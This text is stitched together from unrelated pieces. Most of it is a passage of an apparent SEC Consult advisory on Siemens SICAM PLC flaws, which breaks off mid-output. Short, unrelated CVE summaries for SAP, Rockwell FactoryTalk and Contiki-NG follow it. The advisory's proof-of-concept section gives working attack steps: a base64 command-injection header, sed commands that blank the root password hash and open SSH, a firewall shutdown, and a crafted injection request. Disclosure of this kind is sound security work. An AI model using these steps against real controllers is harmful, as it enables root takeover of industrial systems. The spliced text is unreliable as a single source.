(https://support.industry.siemens.com/cs/ww/en/view/109804985/) SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated Remote Code Execution (CVE-2023-28489) By sending an HTTP request with a crafted header to port 80/443 of the PLC, arbitrary commands can be executed as system user. The port is used to configure and control Siemens PLCs with the Siemens Toolbox II application and is typically accessible on such devices. 2) Authenticated Command Injection (CVE-2023-33919) Due to missing server-side input sanitation, any user with access to the SICAM WEB interface can execute arbitrary commands as user "root" on the device. This works by setting malicious parameters and starting an Ethernet package capture. 3) Hard-coded Root Password (CVE-2023-33920) The PLC contains a hard-coded "root" user password hash. This password hash is the same on all devices. If the corresponding password is known, it could be used to login via UART and SSH. After connecting to the interface, boot information is given and a login prompt is provided. Login as "root" user is possible after changing the hard-coded "root" password hash (see 1,2, and 3). Proof of concept: ----------------- 1) Unauthenticated Remote Code Execution (CVE-2023-28489) To exploit this vulnerability, an HTTP request including the command must be crafted. No "/" characters can be used, therefore commands are encoded as base64, e.g., "id" as "aWQ=". The command must be provided as UPLOADFILENAME header. A full command looks as follows: ;echo aWQ=| base64 -d | sh # The following header format must be obeyed: * User-Agent: SICAM TOOLBOX II * Session-ID: [ARBITRARY 16 CHARACTERS] * UPLOADFILENAME: [COMMAND] Additionally, the request body must contain the following POST parameters: * type=20 * length=[ARBITRARY] * data=[ARBITRARY] A valid request can be seen below: ----------------------------------------------------------------------- [ POC request removed ] ----------------------------------------------------------------------- If it worked, the response body will be "type=21". Additionally, the output on the UART interface indicates code execution as root user: ----------------------------------------------------------------------- base64: /ies/IN/_: No such file or directory uid=0(root) gid=0(root) ----------------------------------------------------------------------- Subsequently, the SSH port can be opened by sending the following commands separately and encoded as base64 string. They will replace the set default root password hash with an empty password hash, reconfigure the Dropbear SSH daemon and stop the firewall: ----------------------------------------------------------------------- sed -i s'/:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo\/FWtDljQjCbm6JnZqxiMg re5P14Kv2zAH1:/:32BZgrJ3XBMoY:/' /etc/shadow sed -i s'/"$DROPBEAR_ARGS -R -s -g"/"$DROPBEAR_ARGS -R"/' /etc/init.d/dropbear /etc/init.d/dropbear restart /etc/init.d/rc.firewall stop ----------------------------------------------------------------------- After this, login via SSH as root is possible: ----------------------------------------------------------------------- ssh root@[IP] root@[IP]'s password: ~# id uid=0(root) gid=0(root) groups=0(root),10(wheel) ~# ----------------------------------------------------------------------- 2) Authenticated Command Injection (CVE-2023-33919) To trigger the command injection vulnerability, the payload must be set in the "LAN port group" field on the SICAM WEB page "Monitoring & Simulation" -> "Ethernet Packet Capture" section "Capture configuration" (other fields may also be affected). As the web interface only provides a drop-down menu, the payload must be set by manipulating the JavaScript logic or by directly manipulating the HTTP request as below, where "ping [IP]\nBBBBBBB" was set: ----------------------------------------------------------------------- POST /sicweb-ajax/rtum85/cview HTTP/1.1 Host: [HOST] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/xml SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT Content-Length: 198 Origin: http://[HOST] Connection: close Referer: http://[HOST]/ <?xml version="1.0" encoding="UTF-8"?> <Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0"> <value> ping [IP] BBBBBBB</value> </parameter></view></Cmd_SetCustomViewValue> ----------------------------------------------------------------------- The line break in the payload is especially important, as the command is executed as part of a shell script. This script is generated and executed by pressing the "Start/Stop trace" button in the "Capture Controlling" section and saved as /tmp/incws_tcpdump.sh. An excerpt with the injected command is shown below: ----------------------------------------------------------------------- [...] # lets start tcpdump tcpdump -i ping [IP] BBBBBBB '(ether host 00:11:11:33:44:00) and (host 1.1.1.2 or host 2.2.2.34) and (port 999)' -C 1 -W 4 -U -w /var/log/wireshark.pcap & [...] ----------------------------------------------------------------------- The executed script creates a process running as root user, which can be seen by running "ps" on the device: ----------------------------------------------------------------------- root 1100 0.0 0.1 1784 1168 ?

SAP NetWeaver Enterprise Portal - version 7.50, does not sufficiently encode user-controlled inputs over the network, resulting in reflected Cross-Site Scripting (XSS) vulnerability, therefore changing the scope of the attack. On successful exploitation, an attacker can view or modify information causing a limited impact on confidentiality and integrity of the application.

The underlying feedback mechanism of Rockwell Automation's FactoryTalk System Services that transfers the FactoryTalk Policy Manager rules to relevant devices on the network does not verify that the origin of the communication is from a legitimate local client device.   This may allow a threat actor to craft a malicious website that, when visited, will send a malicious script that can connect to the local WebSocket endpoint and wait for events as if it was a valid client device. If successfully exploited, this would allow a threat actor to receive information including whether FactoryTalk Policy Manager is installed and potentially the entire security policy. Rockwell Automation FactoryTalk Services Platform is a service platform composed of multiple products from Rockwell Automation, an American company. It provides general services to applications, such as diagnostic information, health monitoring, and real-time data access

A denial-of-service vulnerability exists in Rockwell Automation FactoryTalk Transaction Manager. This vulnerability can be exploited by sending a modified packet to port 400. If exploited, the application could potentially crash or experience a high CPU or memory usage condition, causing intermittent application functionality issues. The application would need to be restarted to recover from the DoS. Remote attackers can use this vulnerability to submit special requests, which can consume a large amount of CPU and memory resources and cause a denial of service attack

Contiki-NG is an open-source, cross-platform operating system for IoT devices. When reading the TCP MSS option value from an incoming packet, the Contiki-NG OS does not verify that certain buffer indices to read from are within the bounds of the IPv6 packet buffer, uip_buf. In particular, there is a 2-byte buffer read in the module os/net/ipv6/uip6.c. The buffer is indexed using 'UIP_IPTCPH_LEN + 2 + c' and 'UIP_IPTCPH_LEN + 3 + c', but the uip_buf buffer may not have enough data, resulting in a 2-byte read out of bounds. The problem has been patched in the "develop" branch of Contiki-NG, and is expected to be included in release 4.9. Users are advised to watch for the 4.9 release and to upgrade when it becomes available. There are no workarounds for this vulnerability aside from manually patching with the diff in commit `cde4e9839`.
